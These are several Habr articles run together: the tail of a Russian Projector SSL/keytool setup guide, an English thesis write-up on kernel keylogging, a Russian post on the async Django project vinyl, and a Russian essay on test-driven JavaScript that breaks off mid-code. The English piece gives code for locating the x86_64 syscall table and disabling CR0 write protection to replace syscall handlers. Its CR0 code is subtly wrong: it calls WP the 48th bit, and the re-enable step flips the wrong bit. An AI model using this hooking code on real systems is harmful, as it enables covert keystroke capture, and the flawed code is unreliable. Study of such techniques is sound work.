Настала пора сгенерировать ключ для нашего сервера (того, который будет показывать Идею):
```
keytool -genkeypair -v \
-alias server \
-dname "CN=myServer, OU=Development, O=myServer, L=SPB, S=SPB, C=RU" \
-keystore server.jks \
-keypass:env PW \
-storepass:env PW \
-keyalg RSA \
-keysize 2048 \
-validity 385
```
Сертификат есть, но пока не подписанный и поэтому в браузере работать не станет. Продолжая церемонию, создаём запрос на подпись:
```
keytool -certreq -v \
-alias server \
-keypass:env PW \
-storepass:env PW \
-keystore server.jks \
-file server.csr
```
Теперь сертификат сервера можно подписать тем CA, который мы создали в самом начале:
```
keytool -gencert -v \
-alias ca \
-keypass:env PW \
-storepass:env PW \
-keystore ca.jks \
-infile server.csr \
-outfile server.crt \
-ext KeyUsage:critical="digitalSignature,keyEncipherment" \
-ext EKU="serverAuth" \
-ext SAN="IP:192.168.1.1" \
-rfc
```
Заметьте, что SAN может быть в двух вариантах: либо "DNS:website.com", если у вас есть зарегистрированное доменное имя. Либо "IP:192.168.1.1", если домена нет. Если нет ни IP, ни домена, то остаётся только забиться в угол и плакать, без этой записи браузер вам не поверит.
Дальше, в обратную сторону, нужно заставить наш JKS доверять самоподписанному CA (иначе следующий шаг сломается):
```
keytool -import -v \
-alias ca \
-file ca.crt \
-keystore server.jks \
-storetype JKS \
-storepass:env PW << EOF
yes
EOF
```
Берем подписанный ранее сертификат и упаковываем внутрь JKS:
```
keytool -import -v \
-alias server \
-file server.crt \
-keystore server.jks \
-storetype JKS \
-storepass:env PW
```
Ну и наконец, результат своих мучений можно посмотреть прямо в консоли:
```
keytool -list -v \
-keystore server.jks \
-storepass:env PW
```
На мой скромный взгляд, мучения с набором этих кодов в консоли того не стоят. Лучше возьмите [готовый скрипт](https://github.com/projectile-ide/projectile-keymaker) и поправьте его как вам удобней.
Прописываем файлы конфигурации
------------------------------
Для хранения настроек нужно сделать файл `/home/olegchir/keystore/ssl.properties` с таким содержимым:
```
STORE_TYPE=JKS
FILE_PATH=/tmp/server.jks
STORE_PASSWORD=mypassword
KEY_PASSWORD=mypassword
```
Пароль, очевидно, нужно указывать точно такой же, который вы использовали при создании кейстора.
В этой статье я пишу полный путь до моего домашнего каталога (`/home/olegchir`) чтобы вам не казалось, что я где-то вас обманул и кусок текста пропустил. Критически относитесь к тому, что читаете, и вписывайте свои пути. Ну или можете поменять имя и фамилию на `olegchir`, хотя мне будет немного неуютно.
Почему `/tmp/server.jks`, а не `/home/olegchir/keystore/server.jks`? Потому что мы в таком виде, во временную папку, будем монтировать его внутрь докерного образа. Сейчас всё увидите.
Теперь нам нужно сказать Projector, чтобы он начал использовать эти файлы. Для этого нужно устанавить специальные переменные окружения с негуманоидными названиями в параметрах `docker run`, а файлы смонтировать внутрь образа.
Идём в скачанный заранее репозиторий, открываем файл `run-container.sh` и ищем строчку:
```
docker run --rm -p 8080:8080 -p 8887:8887 -it "$containerName" bash -c "nginx && ./run.sh"
```
Туда нужно добавить две переменные окружения:
* `ORG_JETBRAINS_PROJECTOR_SERVER_SSL_PROPERTIES_PATH` указывает на файл с настройками;
* `ORG_JETBRAINS_PROJECTOR_SERVER_HANDSHAKE_TOKEN` задает пароль, который нужно указывать в URL, чтобы успешно подключиться;
* Оба файла (настройки и кейстор) монтируем в `/tmp`.
```
docker run --rm \
-v /home/olegchir/keystore/ssl.properties:/tmp/ssl.properties \
-v /home/olegchir/keystore/server.jks:/tmp/server.jks \
--env ORG_JETBRAINS_PROJECTOR_SERVER_SSL_PROPERTIES_PATH=/tmp/ssl.properties \
--env ORG_JETBRAINS_PROJECTOR_SERVER_HANDSHAKE_TOKEN=mypassword \
-p 8080:8080 -p 8887:8887 -it "$containerName" bash -c "nginx && ./run.sh"
```
Теперь контейнер можно запускать!
```
./run-container.sh
```
При запуске могут быть какие-то ошибки. Желательно прочитать лог и найти строчки типа:
```
[INFO] :: ProjectorServer :: WebSocket SSL is enabled: /tmp/ssl.properties
[INFO] :: ProjectorServer :: Server started
```
#### Установка сертификата в браузеры
Скопируйте файл `ca.crt` на то устройство, откуда собираетесь соединяться. Дальше нужно открыть браузер и установить сертификат.
Установка сертификата на разных сочетаниях барузера и операционной системы может выглядеть по-разному. Я не могу в этой статье рассказать о всех возможных сочетаниях, но упомяну самые популярные.
**Firefox:**
1. Настройки
2. Вкладка Privacy & Security
3. В самом низу настроек — кнопка View Certificates
4. Вкладка Authorities
5. Кнопка Import...
6. Ищем сертификат в диалоговом окне выбора файлов
7. Прощёлкиваем, все доступные галки.
8. Заканчиваем импорт.
**Chrome для Windows:**
1. Настройки
2. Раздел Privacy and security
3. Раздел Securty
4. Кнопка Manage certificates
5. Вкладка Trusted Root Certification Authorities
6. Кнопка Import...
7. Открывается мастер, выбираем файл, соглашаемся импортировать именно в Trusted Root Certification Authorities.
8. После импорта обязательно закрываем Chrome. На Windows это может оказаться совсем непросто. Когда вы закрыли Chrome, откройте Диспетчер задач и посмотрите, не осталось ли процессов с именем Chrome. Все такие процессы нужно убить кнопкой Delete.
9. После перезапуска Chrome всё должно работать.
**Chrome для Linux:**
1. Настройки
2. Раздел Privacy and security
3. Раздел Securty
4. Кнопка Manage certificates
5. Вкладка Authorities
6. Кнопка Import...
7. Выбираем файл `ca.crt`,
8. Прощёлкиваем, все доступные галки.
9. Заканчиваем импорт.
**Chrome и Fully Kiosk Browser для Android:**
Установка под Android может быть очень разной. На Huawei MediaPad M5 мне достаточно было щелкнуть пальцем на сертификат в файловом менеджере Solid Explorer и он установился почти как на компьютере.
На других устройствах можно попробовать вот такой путь:
1. Settings
2. Security & privacy
3. More Settings
4. Encription and credentials
5. Install from storage
6. Выбрать `ca.crt`
7. Заканчиваем импорт.
Важно понимать, что каждый производитель Android-устройства сам себе хозяин, и пункт "Install from storage" может оказаться в любом месте настроек, и называться любым именем. Придется повозиться.
Подключаемся из браузера
------------------------
Для локальной машины: <https://localhost:8080/projector/?wss&token=mypassword>
Для облачного сервера: <https://hostname:8080/projector/?wss&host=hostname&port=8887&token=mypassword>
Поиск проблем
-------------
Если ничего не помогло, попробуйте открыть адрес `https://hostname:8887` и посмотрите, что напишет браузер. Возможно, там будет кнопка типа "всё равно доверять этому серверу навсегда" или что-то в этом роде. Возможно, там будет говорящее сообщение об ошибке.
Выводы
------
Настройка безопасного соединения — это долго и неприятно. Нужно набирать в консоли много команд, которые невозможно запомнить наизусть, рыться внутри докерфайлов, пересылать файлы на мобильное устройство. Если ты ошибся где-то хоть в одной букве, то ничего не работает.
С другой стороны, один раз сделал — и живи спокойно. | https://habr.com/ru/post/510282/ | null | ru | null |
# System call interception in Linux-kernel module
The module was created as a part of my master thesis in the 2010 year. The master thesis theme is *Keylogging in Linux kernel*. The main idea was to find out a way to intercept system calls for x64 arch Linux kernel, especially for kernel 2.6.34.7-61.fc13.x86\_64.
Introduction
============
There were a lot of different articles about system call interception for x32 arch. As a part of a research, I faced the issue of how to intercept system calls for x86\_64 arch via Linux-kernel module.
How can we intercept a system call?
1. Find out the syscall table address.
2. Replace the original system call by the new one.
Syscall table address
---------------------
IDT (**I**nterrupt **D**escription **T**able) bounds *interrupt handler* & *interruption code*. In protected mode, IDT is an array of descriptors stored in memory. Each processor has a special **IDTR** register. The register consist of IDT physical address and IDT length. The first assumption was to get IDT address from IDTR register and after that calculate syscall tables address. However, the assumption was wrong, because, in that case, we got x32 handler address.
The second assumption was more interesting. Before continue, I'd like to Describe MSR (**M**odel-**S**pecific **R**egister). A MSR is any of various control registers in the x86 instruction set used for debugging, program execution tracing, computer performance monitoring, and toggling certain CPU features. Let's talk about `MSR_LSTAR` — `0xc0000082` (long mode SYSCALL target). You can get full list at `/usr/include/asm/msr-index.h`.
The `MSR_LSTAR` stores system call entry for x86-64 architecture. You can get the address:
```
int i, lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
system_call = (void*)(((long)hi<<32) | lo);
```
Let's go further. I had got the address & was searching `\xff\x14\xc5`. `\xff\x14\xc5` is a magic numbers. If you look through kernel 2.6.34.7-61.fc13.x86\_64 code, especially, function `system_call`, you will find out that the next 4 bytes are syscall\_table address.
We knew the syscall table address, it meant that we could get a syscall handler address & replace/intercept it.
The source code:
```
unsigned char *ptr;
for (ptr=system_call, i=0; i<500; i++) {
if (ptr[0] == 0xff && ptr[1] == 0x14 && ptr[2] == 0xc5)
return (void*)(0xffffffff00000000 | *((unsigned int*)(ptr+3)));
ptr++;
}
```
System call interception
------------------------
I faced an issue. There was an error in case of changing an address in system call table. Fortunately, it was easy as pie:
* Disable memory protection.
* Rewrite a syscall handler address.
* Enable memory protection.
If you want to disable memory protection you should know: the register `CR0` consist of flags. The flags manage processor behaviour. The flag WP is `Write Protect`, it is the 48th bit at `CR0`.
Disable memory protection:
```
asm("pushq %rax");
asm("movq %cr0, %rax");
asm("andq $0xfffffffffffeffff, %rax");
asm("movq %rax, %cr0");
asm("popq %rax");
```
Enable memory protection:
```
asm("pushq %rax");
asm("movq %cr0, %rax");
asm("xorq $0x0000000000001000, %rax");
asm("movq %rax, %cr0");
asm("popq %rax");
```
Conclusion
==========
On one hand, it should enough to deal with the system call interception, but on the other hand, I don't sure that nothing has been changed since 2010. So use it as is. Source code locates at [github.com/ultral/linux-keylogger](https://github.com/ultral/linux-keylogger).
P.S.
* It is the translation of my [article](https://habr.com/post/110369).
* It is [crosspost](http://www.goncharov.xyz/it/system-call-interception-in-linux-kernel-module.html).
* [Source code](https://github.com/ultral/linux-keylogger) | https://habr.com/ru/post/437182/ | null | en | null |
# Асинхронный django — status update. Проект vinyl
Всем привет.
Некоторое время назад я писал про альтернативные возможности, как можно добавить в django асинхронность (есть официальный подход, изложенный в [DEP-09](https://github.com/django/deps/blob/main/accepted/0009-async.rst)). С тех пор у меня получилось оформить свои идеи в нечто относительно цельное, что вылилось в [vinyl project](https://github.com/pwtail/vinyl). Описание проекта читайте на гитхабе, здесь же я хочу рассказать о его интересных особенностях.
Проект родился после нескольких предыдущих попыток, когда я узнал, что django, в действительности, очень неплохо расширяем. Например, он поддерживает использование нескольких баз данных одновременно (притом что модели одни и те же). Соответственно, например, ничего не мешает считать использование асинхронного драйвера как использование другой логической базы данных - чем я и воспользовался.
В итоге, получилось поместить всю асинхронную функциональность внутрь менеджера моделей. Не понадобилось делать форк django или его частей.
Вначале - небольшое демо того, что получилось. Для тестирования я использовал асинхронный драйвер [psycopg3](https://www.psycopg.org/psycopg3/) (если что, вот ссылка на [database backend](https://github.com/pwtail/django-psycopg3-backend)).
### Демо
```
from django.db import models
from vinyl.manager import VinylManager
class Entry(models.Model):
x = models.IntegerField()
vinyl = VinylManager()
```
`Entry`- обычная модель django. То есть, можно пользоваться `Entry.objects`в полном соответствии с документацией django. Кроме этого, можно пользоваться менеджером `vinyl`и писать такой асинхронный код:
```
from django.db.models import Avg
await Entry.vinyl.filter(x__gt=a, x__lt=b).aggregate(Avg('x'))
```
API для работы с кверисетами такой же как в django. Попробуем создать объект:
```
obj = Entry.vinyl(x=1)
await obj.insert()
```
Как видим, API несколько другой. Для создания объекта используется менеджер `vinyl`, а для сохранения - `.insert()`вместо `.save()`. Сделаем апдейт:
```
await obj.update(x=2)
```
Снова другой API - CRUD-операции с объектами действительно отличаются от тех, которые в django. *vinyl* делает выбор в пользу более явного API. Об этом подробнее ниже.
### Sync mode
Пожалуй, самая странная фича *vinyl* - наличие синхронного и асинхронного API одновременно. Регулируется это флагом, который можно установить динамически для конкретного потока:
```
from vinyl import set_async; set_async(False)
```
После исполнения этой строчки, при использовании Entry.vinylбудет использоваться синхронный ввод-вывод. То есть, мы сможем писать такой код:
```
obj = Entry.vinyl.get(x=1)
obj.update(x=2)
```
История библиотек на питоне уже знает примеры такого подхода ([sans-io](https://sans-io.readthedocs.io/), например). Чтобы его использовать, нужно писать универсальный код, годный для использования как в синхронном, так и в асинхронном контексте. Поэтому вы почти не увидите в коде `async`и `await`, а увидите что-то наподобие такого:
```
from vinyl.futures import later
def myfunc():
result = maybe_async_func()
@later
def myfunc(result=result):
print(f'The result was {result}')
return myfunc()
```
`myfunc()`вернёт корутину или обычный питоновский объект, в зависимости от установленного флага, отвечающего за асинхронность.
Надо сказать, эта странная фича - универсальный код - одна из немногих, у которой нет реальной необходимости, и которая почти полностью является капризом автора. Да, хорошо иметь возможность писать как синхронный, так и асинхронный код - но ведь никуда не девается сам django, у которого и так есть синхронный API. Это так, однако, на мой взгляд, наличие синхронной версии улучшает тестируемость и документирование, а также затрудняет добавление каких-то сумасшедших и ненужных фич.
### Упрощённый API на запись
В коротком демо вначале мы узнали, что CRUD-операции с объектами отличаются от API django. Это и есть API на запись (в базу данных). Этот API действительно сделан более явным - и более минималистичным.
Дело в том, что API django часто приводит к сложным цепочкам изменений в объектах, которые нужно учитывать в операциях на запись. В результате, для этого сложно писать нормальный универсальный (синхронно-асинхронный) код. Код действительно получается трудно читаемый - либо нужно прибегать к генераторам для несвойственных им целей.
Автор подумал, что неуклюжий код является свидетельством несовершенного API, и что лучшим решением будет упростить API на запись. В результате, новые CRUD-операции, как правило, приводят всего к одной операции на запись. Наследование моделей, конечно, немного добавляет проблем.
### Наследование моделей
Я имею в виду то, что называется "concrete model inheritance". Наследование позволяет более компактно записать используемый `OneToOneField`, и при этом сократить цепочку атрибутов-связей в запросах. В общем, немного "избавиться от boilerplate". Но проблема в том, что, из-за того, что правила наследования достаточно свободные, при сохранении объекта (например, добавлении), нужно сохранять этих самых "родителей" в строго определённом порядке.
Не то, чтобы это очень сильно портило код, но я подумал, что небольшое ограничение правил наследования позволило бы сильно упростить вещи. Например, разрешить наследование только от одной "concrete" модели, причём так, чтобы родитель был первичным ключом для ребёнка. Кстати, лично в своей практике я встречался именно с таким способом наследования. В таком случае, у всех родителей и детей одно и то же значение первичного ключа, и с этим гораздо проще работать. В частности, я думаю, нетрудно даже поддержать наследование в bulk-операциях (чего в django нет).
Однако, нужно понимать, что ограничение наследования ломает совместимость с django, поэтому к этому нужно относиться осторожно (в остальном, *vinyl* не ломает совместимость нигде, да и это изменение ещё обсуждается).
### Ленивые атрибуты
Ленивые атрибуты - широко известная фича в django API. `obj.related_obj`сделает запрос в базу или вернёт данные из кэша - в зависимости от сделанных предыдущих запросов. В асинхронном же коде, как мы знаем, если код потенциально содержит ввод-вывод (обращается к базе), он должен быть помечен с помощью `async`и `await`.
Однако, это не представляет особых трудностей для возможного API. Вначале, я думал сделать так, чтобы `obj.related_obj`возвращал объект, если он есть в кэше, и корутину, если его там нет. Во втором случае, для запроса объекта нужно было бы написать `await obj.related_obj.`Конечно, для этого бы потребовалось переопределить поля в моделях, отвечающие за связи.
Однако, потом нашлось более элегантное решение - и более минималистичное: переопределять поля не потребовалось. *vinyl*, к тому времени, уже поддерживал `prefetch_related`. Соответственно, если нужно было обратиться к атрибуту, который присутствовал в `prefetch_related`(или `select_related`), это можно было сделать без всяких проблем. Я подумал, что можно разрешить только такой вариант использование атрибутов-связей (то есть, когда все данные уже присутствуют в кэше). А для случаев, когда нужны дополнительные запросы в базу сделать другой API.
Каким он может быть? Ну, например, `await obj.q.related_obj`(добавился атрибут `.q`). Как это реализовать? Методом "чайника": сначала делаем `prefetch_related`, потом возвращаем нужный атрибут.
Что мы получаем в итоге? Реализацию ленивых атрибутов, но только на чтение. API на запись, вроде `obj.collection.add(related_obj)`, как всегда, отсутствует. Что ж - возможно, он и не нужен, вышеописанные CRUD-операции вполне удобны.
### Заключение
Как вы заметили, у проекта есть название - это значит, что отношение к нему самое серьёзное! Лично для меня, это проект для портфолио, поэтому мне важно, чтобы он был годным.
*vinyl* - это первая попытка использовать django как библиотеку и как зависимость для другого фреймворка. Также, это шанс для самого django, который без асинхронной функциональности, без сомнения, вымрет.
Что касается достоинств - во-первых, мы получаем фреймворк, который годится для создания смешанных WSGI+ASGI приложений. Я имею в виду приложения как с синхронными, так и с асинхронными эндпоинтами, использующих одно и то же (наверно) окружение и, конечно, базу. Кстати, насколько такое распространено сейчас, и насколько удобно?
Также, несмотря на урезанную функциональность, *vinyl* предоставляет достаточно широкие возможности - более широкие, чем большинство асинхронных ORM. А наличие собственной синхронной версии гарантирует его гармоничное развитие и независимость от django project.
Что касается дальнейшего развития фреймворка, автор планирует развивать и обкатывать его в боевых условиях - то есть, внутри компании, использующей django и асинхронные сервисы (на моём текущем проекте, увы, используется другой стэк).
Что думаете? Оцените старания автора по пятибальной шкале! | https://habr.com/ru/post/660831/ | null | ru | null |
# Глубинное погружение в test-driven JavaScript
Многие JavaScript-фреймворки предлагают свое представление о том, как должен выглядеть код. Более того, речь идет не просто о стиле, речь идет о *способе* написания сценариев. Это обусловлено практически абсолютной демократичностью JavaScript, да-да, именно таким является мультипарадигменный язык с С-подобным синтаксисом, прототипным наследованием, динамической типизацией и реализацией разнящейся от браузера к браузеру. Поэтому, когда речь идет о test-driven JavaScript я понимаю, что речь идет не просто об особом стиле программирования, но об особых технических принципах для особого фреймворка позволяющего тестировать JS приложения.
В этой статье я буду спорить сам с собой что же из себя представляет тестопригодный JavaScript-код и в какую цену он обойдется, ежели его начать использовать.
**Внимание: длиннопост.**
Далее я буду предполагать, что читатель немного знаком с [qUnit](http://qunitjs.com/) и/или [Jasmine](http://pivotal.github.io/jasmine/). Слегка пройтись по верхушкам можно за 10 минут, для этой статьи этого достаточно. Как заведено, на философию и обобщения уходит куда больше времени и энергии. На самом деле, для себя я ответил на все вопросы поставленные в аннотации к этой статье стоило только прочитать [это](http://habrahabr.ru/post/191986/) и вспомнить что вообще такое юнит-тесты. Дело в том, что никогда не приходилось заниматься юнит-тестами front-end'a, поэтому я скептически отнесся к такой технологии. Постараюсь ниже изложить основные затруднения. Прошу также не воспринимать статью как манифест за или против юнит-тестирования клиентского кода.
Кроме того, надо помнить, что фреймворки для тестирования отличаются друг от друга. Я постарался избавиться от главных разногласий, но несомненно, что, например, Jasmine дает большую свободу в написании тестопригодного кода, чем qUnit. Тем не менее, описанные в статье затруднения возникают и там, и там.
И так поехали.
#### Анонимные функции
Первый вопрос был: «Ок, а как тестировать анонимные функции? Что мне делать если мой код сплошные анонимные коллбэки и прочая лямбда-магия?». Официальная документация вполне доступна объяснила что же делать с асинхронными вызовами, но ни одна их них не была анонимна.
```
var callBack = function(x){ ... }
someAsyncFunction(someOptions, callBack);
```
и
```
someAsyncFunction(someOptions, function(x){ ... });
```
Несколько разные вещи, согласитесь. А ведь JavaScript приложения полнятся такими конструкциями. Традиционная для jQuery конструкция
```
$(document).ready(function(){
// zomg teh lambda application
})
```
ставящее перед собой цель не допустить выполнение приложения до того, как не будет готов DOM. Или даже вполне себе обычное оборачивание приложения в анонимную функцию, чтобы не захламлять глобальное пространство имен:
```
(function(){ ... })()
```
Не очень понятно, как тестировать эти функции, если к ним нет доступа по идентификатору. Если вся их суть заключается в том, чтобы к ним не было доступа. Выходит к ним нужно предоставить доступ.
```
$(document).ready(Application)
function Application () {
// application
}
```
И теперь приложение можно тестировать в qUnit так:
```
test('Application Constructor is loaded', function () {
ok(window.Application !== undefined , 'Приложение найдено');
});
```
Но есть одна проблема. А что если я не хочу засорять глобальное пространство имен? К сожалению хотя-бы на одно имя придется раскошелиться. Как минимум есть такая практика как [Backdoor Manipulation](http://xunitpatterns.com/Back%20Door%20Manipulation.html). Нечто похожее в JS можно реализовать через глобальный объект window, в которой можно создать свойство в котором и хранить ссылку на приложение, например:
```
(function(){
function Application(){
//вот тут у нас будет приложение
}
window.testBackdoor = { Application : new Application() }; // или просто Application(), ежели это не конструктор
})(window)
//А тестировать это приложение мы будем вот так.
var app = window.testBackdoor.Application;
test('Application Constructor is loaded', function () {
ok(app !== undefined , 'Приложение загрузилося');
});
```
Вот так. Но мы вводим лишнюю конструкцию и это все равно не избавляет нас от лишних имен в объекте window. Это печально. На этой стадии мой внутренний спорщик задает резонный вопрос: собственно, а почему вы тестируете приложение целиком, где же **юнит-тесты**? Справедливо. Я тестирую приложение целиком. Но ведь именно таковы приложения на JS чаще всего, они (почти) всегда суть одна целая. Никто не станет выделять логику приложения от той части, которая обрабатывает данные, подключать эти модули разными путями, если это и правда не гигантское приложение, которому нужен именно такой подход. Не каждое приложение нуждается в таких вещах как require.JS.
**Аргумент #1:** Надо делить приложение на разные кусочки-модельки и тестировать их по-отдельности, ведь в этом смысл юнит-тестов. В каждом юните можно иметь свое пространство имен (реализовав весь юнит в отдельной функции) и проблема решается.
**Контраргумент #1:** JavaScript не ООП язык в классическом понимании, чтобы была возможность тестировать методы класса. Реализация ООП, предоставляющего возможность тестировать отдельные объекты в JavaScipt чревата проблемами чрезмерного кода. (Утверждение, коему я не приведу строгих доказательств, лишь напомню, что в JS отсутствуют public и private ключи. К тому же достаточно вспомнить то во что превращаются милые сердцу классы и их наследования в CoffeeScript при трансляции в JavaScript).
Но раз существует test-driven JavaScript, то существует такой стиль организовать объектную модель приложения так, чтобы ее можно было бы протестировать…
#### Наследование
Вообще, ООП, прототипное наследование и прочее в JavaScript — это благодатная почва для жаркой полемики, коей не место в этой статье. Но перед тем, как начать исследовать наследование в test-driven контексте, рекомендую почитать [Дугласа Крокфорда](http://www.crockford.com/javascript/inheritance.html) и Николаса Закаса в «Оптимизаци JavaScript приложений», чтобы быть в курсе положительных и отрицательных сторон тех или иных способов организации наследования в JavaScript.
Тестопригодное наследование пожалуй одна из тех частей, которые приятно удивили меня тем, что не вызвали лишних затруднений, когда я придерживался канонического прототипного наследования на JavaScript. Действительно, если у нас есть доступ к объекту, то мы тотчас же можем получить доступ к его методам и немедленно протестировать их вдоль и поперек. Например я добавляю в прототип какого-то объекта функцию вычисления абсолютного значения числа:
```
myObject.prototype.abs = function(x){return x>0 ? x : -x;}
//теперь могу тестировать метод обратившись к нему как myObject.abs
```
Вся эта простота выходит за счет одной детали, которую многие считают значительным недостатком JavaScript'a. Это то, что у объекта нет private и public свойств. Они все доступны. Таким образом мы опять приходим к тому, что тестировать можно только те функции и методы, к которым осуществлен доступ. Стоит только начать имитировать публичные и приватные свойства объекта, например так:
```
function myClass (options){
var privateMethod = function(){ ... }
var that = {
publicMethod : function(){ ... }
}
return that;
}
```
Доступ к замыканию publicMethod осуществим, так как возвращается объект, который содержит его в качестве свойства. Проблема в том, что доступ к функции privateMethod извне уже никак не получить, хоть она и занимает в scope функции myClass место, и внутри всех замыканий myClass к нему можно обратиться, но ведь для любых других других scope уровнем выше доступа к функции нет. Возвращаемся к параграфу 1.
Это особо значимо, когда мы пишем приложения где используется традиционный ООП-шаблон, в котором несколько объектов со множеством методов, внутренней логики и прочего, где нет factory-метода плодящего много экземпляров, и их наследованных экземпляров. Короче говоря…
**Аргумент #2:** Если использовать традиционное для JavaScript прототипное наследование, то вся объектная модель приложения автоматически доступна для тестов без лишних усилий.
**Контраргумент #2:** Есть тысяча и один способов реализовать наследование (многие из которых весьма популярны) в JavaScript, которые лишают разработчика доступа к методам экземпляра класса.
Проблема реализации наследования и объектного программирования в test-driven JavaScript в том, что одни методы влияют на состояние экземпляра в целом. Как же тестировать, что при определенном событии экземпляр изменил какое-то внутреннее свойство, которое не зависит от других функций, например, фигурка при наведении курсора сменила свой цвет? При условии, что мы доверяем тем фреймворкам с помощью которых реализуем это отображение. А ведь очень многое, что мы делаем с помощью разных фреймворков меняет состояния и только состояния.
К сожалению, идеи юнит-тестирования в одном расходятся с реалиями. Никто (почти никто) не разрабатывает модель, потом пишет JavaScript — сценарий, а потом только делает под это дело GUI, чаще всего все происходит совсем наоборот, программист получает интерфейс приложения и слышит «сделай так, чтобы работало». Я не говорю, что первый случай невозможен или избыточен, напротив — это лучший путь, но увы, front-end — это то, что воспринимается как этап разработки, служащий для *отображения* работы back-end'а.
Возвращаясь к теме состояний системы, я прихожу к главной проблеме. Предположим, что мы абсолютно доверяем всяким jQuery и уверены, что функция получившая в аргумент строку вида "#000000", будет красить фигурку именно в этот цвет и сделает это без ошибок. Предположим, что фреймворки для работы с DOM, и занимающиеся прочим отображением не столь важно тестировать, как функции, где происходит обработка данных в приложении. Но как отделить одно от другого? Как написать чистые функции, которые и имеет смысл тестировать, не вписывая туда побочные действия?
```
var a = 10;
function f(x) {
a = x;
}
```
Эта функция не чиста, увы. Она принимает данные и меняет состояние системы (значение переменной `a`).
#### Чистые функции
[Чистые функции](http://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D1%82%D0%BE%D1%82%D0%B0_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8) — это хорошо. Хорошо, когда функции не меняют состояния системы. Когда функции получают данные, что-то с ними делают и возвращают данные. И больше ничего не делают.
Но в JavaScript есть два нюанса.
*Первый*: В JavaScript функции — это объекты, а системы — это в общем-то тоже объекты, то есть состояния систем конструируются функциями. Состояния систем — это состояния функций. Нет четкого разделения понятия объект и метод. Все в конечном счете сливается в дзен объектов или функций, если угодно. Иначе говоря, функциями мы конструируем объекты, функциями мы вычисляем данные и передаем их в функции, которые меняют изначальные объекты. *(здесь должна быть картинка с Xzibitом и подписью 'Yo dawg')*
*Второй*: Разве суть клиентского JavaScripta не в сайд-эффектах? То есть в отображении, в динамизации. Когда вы в последний раз брали какой-нибудь зверский интеграл Римана чтобы результирующие данные вернуть пользователю в консоль браузера? Я сильно удивлюсь, если кому-то хоть раз приходилось решать такие задачи на стороне клиента, да еще и без отображения. Если в приложении нет сколько-нибудь важной логики, а лишь одно отображение, то по-сути и тестировать здесь нечего.
Вот довольно хрестоматийный пример:
Дан инпут, надо по событию keydown инициировать валидацию содержимого инпута по регулярному выражению. Если введенная строка валидна, то красим инпут в зеленый, иначе в красный.
```
$("#myPrettyInput").on("keydown", function(){
if(проводим_здесь_валидацию_инпута){
... красим инпут в зеленый
}else{
... красим инпут в красный
}
});
```
Чтобы отделить обработку данных (валидация) от сайд-эффектов (изменение CSS) можно проделать следующий кунштюк:
```
$("#myPrettyInput").on("keydown", function(){
var val = $(this).val();
var regex = ... какое-нибудь регулярное выражение;
if(validate(val, regex){
// красим инпут в зеленый
}else{
// красим инпут в красный
}
});
var validate = function(str, rgx){
// кристально чистой души функция. Возвращает true или false
};
```
С одной стороны, а что плохого? Подумаешь лишнюю функцию написали? Ведь в первом случае, скорее всего в if стояло бы какое-нибудь уродливое выражение типа `$(this).val().match(regex).length`, а теперь у нас вполне себе опрятная функция. И неважно, что в теле функции то же самое выражение, главное ее можно тестировать! Действительно, на таком упрощенном примере все выглядит вполне оправдано и прилично. Кажется, что мы добились тестопригодности выделением одной лишь функции, но…
**Аргумент #3:** Мы получили тестопригодный код и в любой момент можем проверить, работает ли наша валидация или нет написав на нее сколь угодно много автоматизированных тестов. Кроме того, мы избавились от гигантских выражений в обработчике событий.
**Контраргумент #3:** Мы ввели еще одну переменную. А что если валидация не столь проста, а включает в себя ajax вызов? Например, проверка не занят ли юзернейм. И чтобы реализовать разделение сайд-эффектов от строгой обработки данных нужно нечто большее, чем вывести функцию из обработчика событий.
Контрпример:
```
var validate = function(str, regex){
if(проводим_здесь_валидацию_инпута_по_regexp){
$.ajax({
...
succsess : function(data){
// лямбда-функция, да еще и обладающая побочными эффектами
// здесь происходит валидация data
}
})
}
...
}
```
К сожалению, одной идентификацией коллбэка не обойтись.
```
var validate = function(str, regex){
function ajax_validate(data){
// здесь происходит валидация data
}
if(проводим_здесь_валидацию_инпута_по_regexp){
$.ajax({
...
success : function(data){
if(ajax_validate(data)){
... какие-то сайд-эффекты
}
}
})
}
...
}
```
Конечно в предыдущем листинге, функция ajax\_validate чиста (возвращает результат валидации, а это всегда или true или false), но тем не менее ее никак не протестируешь, потому что — это переменная внутри validate. Сделать ее замыканием validate? Дурацкое решение — от этого validate превращается в класс, перестает быть чистой. Может тогда превратить все строгие проверки, которые возвращают true или false в замыкания какого-нибудь отдельного модуля, который будет занят исключительно всякими валидациями в приложении? С точки зрения тестопригодности — это вполне удовлетворительное решение, с точки зрения модульности тоже. Но надеюсь вы проследили как увеличился объем работы. И я ведь по-сути ничего особого в приложение не добавил. Я спрашиваю себя, где золотая середина?
Кажется логичным ответ на вопрос, что надо ставить обработчики данных в одну кучу, обработчики событий в другую. Так я отказываюсь тестировать ту часть которая красит инпут в нужный цвет, а концентрируюсь на том, чтобы сделать возможным протестировать ту часть программы, где *вычисляется в какой цвет красить инпут*. Но опять же, с оговоркой, что если приложение не слишком большое/сложное/запутанное. Если уж и правда оно таково, то лучше да, ввести лишний модуль, потратить время, но добиться тестопригодности и удобства дальнейшего использования. А ежели приложение не требует особых ухищрений, я бы поступил так:
```
$("#myPrettyInput").on("keydown", function(){
var val = $(this).val();
if(validate(val,regex)){
var ajaxValidationResult = false;
$.ajax({
...
success : function(data){
if(ajax_validate(data)){
ajaxValidationResult = true; //вот вам и сайд-эффект
}
}
...
});
setTimeout(function(){
if(ajaxValidationResult){
// красим инпут в зеленый
}else{
// красим инпут в красный или не красим вовсе, кому как хочется
setTimeout(arguments.callee, 75);
}
})
}else{
//красим инпут в красный
}
});
//а вот тут я бережно храню свои чистые функции
var validate = function(str, regex){ ... }
var ajax_validate = function(data){ ... }
```
Для меня это вполне приемлемое отношение лишней работы к пользе от тестопригодности. Но, золотой серединой я это назвать не могу. Какие мои решения? На самом деле никаких универсальных. Внутрь JavaScript встроено много возможностей делать его настолько тестопригодным, насколько вы того пожелаете. Здесь всплывает функциональная природа JavaScript'a. Где можно передавать функции в функции и возвращать тоже функции. Это удобно в том смысле, что логику приложения можно выполнить в довольно свободном декларативном стиле (это так часть, которая не имеет отношения к юнит-тестам), в то время как те части программы, которые отвечают за обработку данных оставить тестопригодными. Я же чаще всего пользуюсь следующей схемой:
```
function App(){
function Vehicle(){
//здесь я храню не тестируемые переменные и методы
var somePrivateMethod = function(){ ... }
var that = {
//здесь я храню тестируемые функции и переменные
